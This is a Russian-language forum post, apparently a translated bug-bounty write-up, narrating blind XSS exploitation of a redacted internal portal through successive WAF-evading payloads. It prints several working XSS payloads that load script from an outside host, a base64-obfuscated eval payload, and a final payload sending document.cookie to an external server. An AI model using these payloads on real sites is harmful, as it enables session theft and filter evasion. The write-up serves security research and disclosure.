• XSS.stack #1 – первый литературный журнал от юзеров форума

Рассмотрим пример Blind XSS (игры разума)

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
В этом заметке я расскажу, как смог проэксплуатировать Blind XSS на одном внутреннем портале. Это был частный сайт, поэтому мы назовем ее https://redacted.com

Для эксплуатации я использовал https://blindf.com. Это платформа/инструмент/фреймворк для поиска blind XSS.


Начало атаки:
  1. Нашел форму на https://redacted.com
  2. Поместил Bhtml payload + BXSS payload в текстовое поле
    Полезная нагрузка:
    Код:
    <img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>"></script><script src=https://blindf.com/bx.php></script>
    Результат меня не порадовал. WAF остановил меня и форму не загрузил.
  3. Я удалил полезную нагрузку BXSS. Теперь полезная нагрузка была такая:
    Код:
    <img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>
    Результат: WAF не остановил меня, и я успешно отправил форму. На следующий день Blindf подтвердил выполнение пейлоада BHTML в бэкэнде. Теперь пришло время загрузить полезную нагрузку Bxss. Я знал, что серверный портал уязвим, и мне просто нужно было отправить пейлоад Bxss.
  4. Я использовал такой пейлоад. BHTML + BXSS
    Код:
    <img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>"><svg onload='with(top)body.appendChild(createElement("script")).src="https://blindf.com/bx.php"'>
    Результат: WAF не остановил меня, и я успешно отправил пейлоад. Но опять-таки только полезная нагрузка BHTML работала, а BXSS - нет. Теперь снова пришло время подредактировать мой пейлоад
  5. Использовал я такой payload. BHTML + BXSS
    Код:
    <img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>"> sfds"><base href="https://blindf.com"><script nonce='secret' src='./bx.php'></script>
    Результат: WAF остановил меня, и я не смог отправить форму. Моему разочарованию не было предела. Снова пришло время изменить полезную нагрузку.
  6. В этот раз использовал я такой payload. BHTML + BXSS
    Код:
    <img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>">"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYmxpbmRmLmNvbS9ieC5waHAiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
    Результат: Обошел WAF, но опять-таки работал только BHTML, а BXSS не удалось. Теперь нужно было обдумать ситуацию и взглянуть на мою атаку свежим взглядом.

    Ситуация шаг за шагом:
    • Я использовал полезные нагрузки BHTML + BXSS.
    • Некоторые полезные нагрузки Bxss обошли WAF, но не выполнялись на бэкэнд-портале, где полезные нагрузки Bhtml шли хорошо, и я получал ответный ответ от своих полезных нагрузок BHTML.
    • Возможно, что-то мешало моему удаленному файлу js исполниться. [CORS или политика того же происхождения]
    • Поэтому я должен выполнить BXSS без включения удаленного файла JS.
    • Но как я могу подтвердить выполнение полезных данных в бэкэнде, если я просто показываю им всплывающее окно с предупреждением?
    • Тег <img> работал, но я не смог включить удаленный файл js.
    • Я должен сделать полезную нагрузку, которая может ответить и подтвердить выполнение кода JS.
  7. Теперь пришло время изменить полезную нагрузку и снова атаковать.
    Используемая полезная нагрузка:
    Код:
    <img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>">  <img src=https://blindf.com/a.jpg onload=this.src='https://blindf.com/oc.php/?c='+document.cookie>
    Результат: WAF обойден. Bhtml полезная нагрузка выполнена. Выполнена полезная нагрузка BXSS, и я получил значение cookie.

Серьезность: критическая (9 ~ 10)
Полученная баунти: $1000


Автор: оригинальная статья
Перевод: tabac, специально для https://xss.pro
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Очень хорошая статья, спасибо. Подскажи а как быть, если на сайте есть много разных форм, как именно узнать какая именно форма была уязвима? Я думал мб юзать сервисы наподобие https://requestbin.com/ . но так же интересуют другие способы
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх